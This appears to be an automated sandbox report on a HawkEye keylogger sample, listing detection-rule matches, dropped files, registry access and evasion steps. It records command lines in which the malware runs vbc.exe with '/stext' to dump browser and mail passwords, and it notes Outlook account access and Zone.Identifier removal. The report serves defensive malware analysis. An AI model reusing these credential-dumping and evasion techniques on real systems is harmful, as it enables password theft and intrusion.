Source: 12.2.InstallUtil.exe.408208.1.raw.unpack, type: UNPACKEDPE	Matched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
Source: 12.2.InstallUtil.exe.408208.1.raw.unpack, type: UNPACKEDPE	Matched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 12.2.InstallUtil.exe.408208.1.raw.unpack, type: UNPACKEDPE	Matched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.ypBoHI5G3x.exe.43944ca.8.unpack, type: UNPACKEDPE	Matched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
Source: 1.2.ypBoHI5G3x.exe.43944ca.8.unpack, type: UNPACKEDPE	Matched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.ypBoHI5G3x.exe.43944ca.8.unpack, type: UNPACKEDPE	Matched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.ypBoHI5G3x.exe.419b8ea.4.raw.unpack, type: UNPACKEDPE	Matched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
Source: 1.2.ypBoHI5G3x.exe.419b8ea.4.raw.unpack, type: UNPACKEDPE	Matched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.ypBoHI5G3x.exe.419b8ea.4.raw.unpack, type: UNPACKEDPE	Matched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.ypBoHI5G3x.exe.41a36f7.3.raw.unpack, type: UNPACKEDPE	Matched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
Source: 1.2.ypBoHI5G3x.exe.41a36f7.3.raw.unpack, type: UNPACKEDPE	Matched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
Source: 12.2.InstallUtil.exe.409c0d.3.raw.unpack, type: UNPACKEDPE	Matched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
Source: 12.2.InstallUtil.exe.409c0d.3.raw.unpack, type: UNPACKEDPE	Matched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.ypBoHI5G3x.exe.43944ca.8.raw.unpack, type: UNPACKEDPE	Matched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
Source: 1.2.ypBoHI5G3x.exe.43944ca.8.raw.unpack, type: UNPACKEDPE	Matched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.ypBoHI5G3x.exe.43944ca.8.raw.unpack, type: UNPACKEDPE	Matched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.ypBoHI5G3x.exe.439c2d7.6.raw.unpack, type: UNPACKEDPE	Matched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
Source: 1.2.ypBoHI5G3x.exe.439c2d7.6.raw.unpack, type: UNPACKEDPE	Matched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.ypBoHI5G3x.exe.439c2d7.6.raw.unpack, type: UNPACKEDPE	Matched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.ypBoHI5G3x.exe.439a8d2.7.raw.unpack, type: UNPACKEDPE	Matched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
Source: 1.2.ypBoHI5G3x.exe.439a8d2.7.raw.unpack, type: UNPACKEDPE	Matched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.ypBoHI5G3x.exe.439a8d2.7.raw.unpack, type: UNPACKEDPE	Matched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
Source: 0000000C.00000002.613574939.0000000008110000.00000004.00000001.sdmp, type: MEMORY	Matched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0000000C.00000002.602473757.0000000002B31000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp, type: MEMORY	Matched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
Source: 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
Source: 0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp, type: MEMORY	Matched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
Source: 0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
Source: 0000000C.00000002.612974883.0000000007750000.00000004.00000001.sdmp, type: MEMORY	Matched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000001.00000002.455392795.000000000419B000.00000004.00000001.sdmp, type: MEMORY	Matched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
Source: 00000001.00000002.455392795.000000000419B000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research

Source: 12.2.InstallUtil.exe.400000.0.unpack, Form1.cs	Cryptographic APIs: 'CreateDecryptor', 'TransformFinalBlock'
Source: 12.2.InstallUtil.exe.400000.0.unpack, Form1.cs	Cryptographic APIs: 'CreateDecryptor', 'TransformFinalBlock'
Source: 12.2.InstallUtil.exe.400000.0.unpack, Form1.cs	Cryptographic APIs: 'CreateDecryptor', 'TransformFinalBlock'
Source: 12.2.InstallUtil.exe.400000.0.unpack, Form1.cs	Cryptographic APIs: 'CreateDecryptor'

Source: 12.2.InstallUtil.exe.400000.0.unpack, Form1.cs

Base64 encoded string: 'kU9AKBYzTfDozk78v7S8AJ4qRIoajat5imvHiMgiRkXdoX1WWUMkcLeIbq0f5Ki+', 'zfWNmoVCmw9cYxvRPzpOe7yARVOHExi6TsOCR63LGMs+Lv0nLSEyXoiEOPiEzRyN', 'PN4TW3peZ3UeXi7asDB56E4dMEf6JrdkxXNUlrUjLlWcjHK1wZ5CpLZZKB/ocuFWy9Kw0Q8tIc1Qv7OEgqzD+w=='

Source: classification engine

Classification label: mal100.phis.troj.spyw.evad.winEXE@7/5@3/3

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Code function: 18_2_00415AFD GetLastError,FormatMessageW,FormatMessageA,LocalFree,free,

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Code function: 18_2_00415F87 GetDiskFreeSpaceW,GetDiskFreeSpaceA,free,

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Code function: 18_2_00411196 CreateToolhelp32Snapshot,memset,Process32FirstW,OpenProcess,memset,GetModuleHandleW,GetProcAddress,QueryFullProcessImageNameW,QueryFullProcessImageNameW,CloseHandle,free,Process32NextW,CloseHandle,

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Code function: 18_2_00411EF8 FindResourceW,SizeofResource,LoadResource,LockResource,

Source: C:\Users\user\Desktop\ypBoHI5G3x.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ypBoHI5G3x.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\ypBoHI5G3x.exe

File created: C:\Users\user\AppData\Local\Temp\InstallUtil.exe

Jump to behavior

Source: ypBoHI5G3x.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

System information queried: HandleInformation

Source: C:\Users\user\Desktop\ypBoHI5G3x.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: ypBoHI5G3x.exe, 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp, InstallUtil.exe, 0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp, vbc.exe	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: ypBoHI5G3x.exe, 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp, InstallUtil.exe, 0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp, vbc.exe	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: ypBoHI5G3x.exe, 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp, InstallUtil.exe, 0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp, vbc.exe, 00000012.00000002.493947169.0000000000400000.00000040.00000001.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
Source: ypBoHI5G3x.exe, 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp, InstallUtil.exe, 0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp, vbc.exe	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0
Source: ypBoHI5G3x.exe, 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp, InstallUtil.exe, 0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp, vbc.exe	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: ypBoHI5G3x.exe, 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp, InstallUtil.exe, 0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp, vbc.exe	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: ypBoHI5G3x.exe, 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp, InstallUtil.exe, 0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp, vbc.exe	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

Source: ypBoHI5G3x.exe	Virustotal: Detection: 28%
Source: ypBoHI5G3x.exe	ReversingLabs: Detection: 32%

Source: unknown	Process created: C:\Users\user\Desktop\ypBoHI5G3x.exe 'C:\Users\user\Desktop\ypBoHI5G3x.exe'
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process created: C:\Users\user\AppData\Local\Temp\InstallUtil.exe C:\Users\user\AppData\Local\Temp\InstallUtil.exe
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext 'C:\Users\user\AppData\Local\Temp\holderwb.txt'
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext 'C:\Users\user\AppData\Local\Temp\holdermail.txt'
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process created: C:\Users\user\AppData\Local\Temp\InstallUtil.exe C:\Users\user\AppData\Local\Temp\InstallUtil.exe
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext 'C:\Users\user\AppData\Local\Temp\holdermail.txt'
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext 'C:\Users\user\AppData\Local\Temp\holderwb.txt'

Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Source: C:\Users\user\Desktop\ypBoHI5G3x.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts

Source: ypBoHI5G3x.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: ypBoHI5G3x.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: ypBoHI5G3x.exe

Static file information: File size 1287680 > 1048576

Source: ypBoHI5G3x.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x139c00

Source: ypBoHI5G3x.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT, HIGH_ENTROPY_VA

Source:	Binary string: C:\Users\Jovan\Documents\Visual Studio 2010\Projects\Stealer\CMemoryExecute\CMemoryExecute\obj\Release\CMemoryExecute.pdb source: ypBoHI5G3x.exe, 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp, InstallUtil.exe, 0000000C.00000002.613574939.0000000008110000.00000004.00000001.sdmp
Source:	Binary string: InstallUtil.pdb\rvr hr_CorExeMainmscoree.dll source: ypBoHI5G3x.exe, 00000001.00000002.463314966.000000000768B000.00000004.00000001.sdmp, InstallUtil.exe, 0000000C.00000002.599966159.00000000008B2000.00000002.00020000.sdmp, InstallUtil.exe.1.dr
Source:	Binary string: f:\Projects\VS2005\mailpv\Release\mailpv.pdb source: ypBoHI5G3x.exe, 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp, InstallUtil.exe, 0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp, vbc.exe
Source:	Binary string: f:\Projects\VS2005\WebBrowserPassView\Release\WebBrowserPassView.pdb source: ypBoHI5G3x.exe, 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp, InstallUtil.exe, 0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp, vbc.exe
Source:	Binary string: InstallUtil.pdb source: ypBoHI5G3x.exe, 00000001.00000002.463314966.000000000768B000.00000004.00000001.sdmp, InstallUtil.exe, InstallUtil.exe.1.dr

Data Obfuscation:

.NET source code contains potential unpacker

Show sources

Source: 12.2.InstallUtil.exe.400000.0.unpack, Form1.cs	.Net Code: IsDotNet System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 12.2.InstallUtil.exe.400000.0.unpack, Form1.cs	.Net Code: run System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 12.2.InstallUtil.exe.400000.0.unpack, Form1.cs	.Net Code: stealMail System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 12.2.InstallUtil.exe.400000.0.unpack, Form1.cs	.Net Code: stealWebroswers System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Code function: 18_2_004422C7 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 1_2_00C3D0C9 push esi; retf
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 1_2_00C3CECD push eax; retf
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 1_2_00C3D779 push eax; retf
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 1_2_00C3CD10 push ecx; retf
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 1_2_00C3D417 push ecx; retf
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 1_2_00C3CD9C push esp; retf
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 1_2_05FF363A push ebx; retf
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Code function: 12_2_0516AC12 pushfd ; ret
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 18_2_00442871 push ecx; ret
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 18_2_00442A90 push eax; ret
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 18_2_00442A90 push eax; ret
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 18_2_00446E54 push eax; ret
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 19_2_00411879 push ecx; ret
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 19_2_004118A0 push eax; ret
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 19_2_004118A0 push eax; ret

Source: ypBoHI5G3x.exe, Ra1/Ms7.cs	High entropy of concatenated method names: '.ctor', 'b1T', 'x5B', 'm4G', 'w6N', 'Wb3', 'g8G', 'f6J', 'Rn4', 'Aa5'
Source: ypBoHI5G3x.exe, Wf6/Zk3.cs	High entropy of concatenated method names: '.ctor', 'd6Z', 'w2G', 'j2L', 'k7K', 'At4', 'Mm8', 'Se6', 'Lg5', 'Qe9'
Source: 1.2.ypBoHI5G3x.exe.c30000.0.unpack, Ra1/Ms7.cs	High entropy of concatenated method names: '.ctor', 'b1T', 'x5B', 'm4G', 'w6N', 'Wb3', 'g8G', 'f6J', 'Rn4', 'Aa5'
Source: 1.2.ypBoHI5G3x.exe.c30000.0.unpack, Wf6/Zk3.cs	High entropy of concatenated method names: '.ctor', 'd6Z', 'w2G', 'j2L', 'k7K', 'At4', 'Mm8', 'Se6', 'Lg5', 'Qe9'

Source: C:\Users\user\Desktop\ypBoHI5G3x.exe

File created: C:\Users\user\AppData\Local\Temp\InstallUtil.exe

Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

Changes the view of files in windows explorer (hidden files and folders)

Show sources

Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe

Key value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced Hidden

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Users\user\Desktop\ypBoHI5G3x.exe

File opened: C:\Users\user\Desktop\ypBoHI5G3x.exe\:Zone.Identifier read attributes | delete

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Code function: 18_2_00441975 memset,wcscpy,memset,wcscpy,wcscat,wcscpy,wcscat,wcscpy,wcscat,GetModuleHandleW,LoadLibraryExW,LoadLibraryW,LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
